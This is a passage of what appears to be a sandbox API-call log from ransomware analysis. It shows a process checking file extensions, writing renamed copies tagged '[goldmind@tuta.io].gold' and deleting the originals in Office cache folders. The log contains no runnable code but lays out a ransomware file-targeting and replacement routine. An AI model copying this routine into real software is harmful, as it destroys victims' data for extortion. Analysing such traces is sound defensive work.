lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0035.272] WriteFile (in: hFile=0x19c, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xee, lpOverlapped=0x0) returned 1 [0035.272] SetEndOfFile (hFile=0x19c) returned 1 [0035.272] CloseHandle (hObject=0x19c) returned 1 [0035.273] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.273] SetEndOfFile (hFile=0x188) returned 1 [0035.273] CloseHandle (hObject=0x188) returned 1 [0035.273] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0035.274] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml")) returned 1 [0035.274] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0035.274] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0035.274] lstrlenW (lpString=".doc") returned 4 [0035.274] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.274] lstrlenW (lpString=".docx") returned 5 [0035.274] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0035.274] lstrlenW (lpString=".pdf") returned 4 [0035.274] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.274] lstrlenW (lpString=".xls") returned 4 [0035.274] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.274] lstrlenW (lpString=".xlsx") returned 5 [0035.274] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0035.274] lstrlenW (lpString=".ppt") returned 4 [0035.274] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.274] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0035.274] lstrlenW (lpString=".zip") returned 4 [0035.274] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.274] lstrlenW (lpString=".rar") returned 4 [0035.274] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.274] lstrlenW (lpString=".bz2") returned 4 [0035.274] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.274] lstrlenW (lpString=".7z") returned 3 [0035.274] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.274] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0035.274] lstrlenW (lpString=".dbf") returned 4 [0035.274] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.274] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0035.274] lstrlenW (lpString=".1cd") returned 4 [0035.274] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.274] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0035.274] lstrlenW (lpString=".jpg") returned 4 [0035.274] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.274] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0035.274] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0035.274] lstrlenW (lpString=".doc") returned 4 [0035.275] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.275] lstrlenW (lpString=".docx") returned 5 [0035.275] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0035.275] lstrlenW (lpString=".pdf") returned 4 [0035.275] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.275] lstrlenW (lpString=".xls") returned 4 [0035.275] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.275] lstrlenW (lpString=".xlsx") returned 5 [0035.275] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0035.275] lstrlenW (lpString=".ppt") returned 4 [0035.275] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.275] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0035.275] lstrlenW (lpString=".zip") returned 4 [0035.275] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.275] lstrlenW (lpString=".rar") returned 4 [0035.275] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.275] lstrlenW (lpString=".bz2") returned 4 [0035.275] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.275] lstrlenW (lpString=".7z") returned 3 [0035.275] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.275] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0035.275] lstrlenW (lpString=".dbf") returned 4 [0035.275] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.275] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0035.275] lstrlenW (lpString=".1cd") returned 4 [0035.275] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.275] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0035.275] lstrlenW (lpString=".jpg") returned 4 [0035.275] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.275] lstrcmpiW (lpString1=".xml", lpString2=".gold") returned 1 [0035.275] lstrlenW (lpString="Setup.xml") returned 9 [0035.275] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0035.275] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=16683) returned 1 [0035.275] CloseHandle (hObject=0x188) returned 1 [0035.275] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0035.276] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0035.276] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0035.276] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.276] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.276] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0035.276] GetLastError () returned 0x0 [0035.276] ReadFile (in: hFile=0x188, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x412b, lpOverlapped=0x0) returned 1 [0035.277] WriteFile (in: hFile=0x19c, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x4130, lpOverlapped=0x0) returned 1 [0035.279] ReadFile (in: hFile=0x188, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0035.279] WriteFile (in: hFile=0x19c, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0035.279] SetEndOfFile (hFile=0x19c) returned 1 [0035.279] CloseHandle (hObject=0x19c) returned 1 [0035.280] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.280] SetEndOfFile (hFile=0x188) returned 1 [0035.280] CloseHandle (hObject=0x188) returned 1 [0035.280] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0035.281] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0035.281] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.281] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.281] lstrlenW (lpString=".doc") returned 4 [0035.281] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.281] lstrlenW (lpString=".docx") returned 5 [0035.281] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0035.281] lstrlenW (lpString=".pdf") returned 4 [0035.281] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.281] lstrlenW (lpString=".xls") returned 4 [0035.281] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.281] lstrlenW (lpString=".xlsx") returned 5 [0035.281] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0035.281] lstrlenW (lpString=".ppt") returned 4 [0035.281] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.281] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.281] lstrlenW (lpString=".zip") returned 4 [0035.281] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.281] lstrlenW (lpString=".rar") returned 4 [0035.281] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.281] lstrlenW (lpString=".bz2") returned 4 [0035.281] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.281] lstrlenW (lpString=".7z") returned 3 [0035.281] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.281] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.281] lstrlenW (lpString=".dbf") returned 4 [0035.281] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.281] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.281] lstrlenW (lpString=".1cd") returned 4 [0035.281] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.281] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.281] lstrlenW (lpString=".jpg") returned 4 [0035.281] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.282] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.282] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.282] lstrlenW (lpString=".doc") returned 4 [0035.282] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.282] lstrlenW (lpString=".docx") returned 5 [0035.282] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0035.282] lstrlenW (lpString=".pdf") returned 4 [0035.282] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.282] lstrlenW (lpString=".xls") returned 4 [0035.282] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.282] lstrlenW (lpString=".xlsx") returned 5 [0035.282] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0035.282] lstrlenW (lpString=".ppt") returned 4 [0035.282] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.282] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.282] lstrlenW (lpString=".zip") returned 4 [0035.282] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.282] lstrlenW (lpString=".rar") returned 4 [0035.282] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.282] lstrlenW (lpString=".bz2") returned 4 [0035.282] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.282] lstrlenW (lpString=".7z") returned 3 [0035.282] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.282] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.282] lstrlenW (lpString=".dbf") returned 4 [0035.282] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.282] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.282] lstrlenW (lpString=".1cd") returned 4 [0035.282] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.282] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.282] lstrlenW (lpString=".jpg") returned 4 [0035.282] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.282] lstrcmpiW (lpString1=".xml", lpString2=".gold") returned 1 [0035.282] lstrlenW (lpString="Office32WW.xml") returned 14 [0035.282] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0035.283] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=4274) returned 1 [0035.283] CloseHandle (hObject=0x188) returned 1 [0035.284] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020 [0035.284] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0035.284] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0035.284] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.284] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.284] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0035.284] GetLastError () returned 0x0 [0035.284] ReadFile (in: hFile=0x188, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x10b2, lpOverlapped=0x0) returned 1 [0035.286] WriteFile (in: hFile=0x19c, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x10c0, lpOverlapped=0x0) returned 1 [0035.286] ReadFile (in: hFile=0x188, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0035.286] WriteFile (in: hFile=0x19c, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0035.286] SetEndOfFile (hFile=0x19c) returned 1 [0035.286] CloseHandle (hObject=0x19c) returned 1 [0035.287] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.287] SetEndOfFile (hFile=0x188) returned 1 [0035.288] CloseHandle (hObject=0x188) returned 1 [0035.288] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0035.288] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 1 [0035.288] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.288] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.288] lstrlenW (lpString=".doc") returned 4 [0035.288] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.288] lstrlenW (lpString=".docx") returned 5 [0035.288] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0035.288] lstrlenW (lpString=".pdf") returned 4 [0035.288] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.288] lstrlenW (lpString=".xls") returned 4 [0035.288] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.288] lstrlenW (lpString=".xlsx") returned 5 [0035.288] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0035.288] lstrlenW (lpString=".ppt") returned 4 [0035.288] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.289] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.289] lstrlenW (lpString=".zip") returned 4 [0035.289] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.289] lstrlenW (lpString=".rar") returned 4 [0035.289] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.289] lstrlenW (lpString=".bz2") returned 4 [0035.289] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.289] lstrlenW (lpString=".7z") returned 3 [0035.289] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.289] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.289] lstrlenW (lpString=".dbf") returned 4 [0035.289] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.289] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.289] lstrlenW (lpString=".1cd") returned 4 [0035.289] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.289] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.289] lstrlenW (lpString=".jpg") returned 4 [0035.289] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.289] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.289] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.289] lstrlenW (lpString=".doc") returned 4 [0035.289] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.289] lstrlenW (lpString=".docx") returned 5 [0035.289] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0035.289] lstrlenW (lpString=".pdf") returned 4 [0035.289] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.289] lstrlenW (lpString=".xls") returned 4 [0035.289] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.289] lstrlenW (lpString=".xlsx") returned 5 [0035.289] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0035.289] lstrlenW (lpString=".ppt") returned 4 [0035.289] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.289] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.289] lstrlenW (lpString=".zip") returned 4 [0035.289] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.289] lstrlenW (lpString=".rar") returned 4 [0035.289] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.289] lstrlenW (lpString=".bz2") returned 4 [0035.289] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.289] lstrlenW (lpString=".7z") returned 3 [0035.289] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.289] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.289] lstrlenW (lpString=".dbf") returned 4 [0035.289] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.289] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.289] lstrlenW (lpString=".1cd") returned 4 [0035.289] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.289] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.289] lstrlenW (lpString=".jpg") returned 4 [0035.289] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.290] lstrcmpiW (lpString1=".xml", lpString2=".gold") returned 1 [0035.290] lstrlenW (lpString="Setup.xml") returned 9 [0035.290] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0035.290] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=20577) returned 1 [0035.290] CloseHandle (hObject=0x188) returned 1 [0035.290] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0035.290] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0035.290] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0035.290] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.290] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.290] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0035.290] GetLastError () returned 0x0 [0035.290] ReadFile (in: hFile=0x188, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x5061, lpOverlapped=0x0) returned 1 [0035.292] WriteFile (in: hFile=0x19c, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x5070, lpOverlapped=0x0) returned 1 [0035.293] ReadFile (in: hFile=0x188, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: 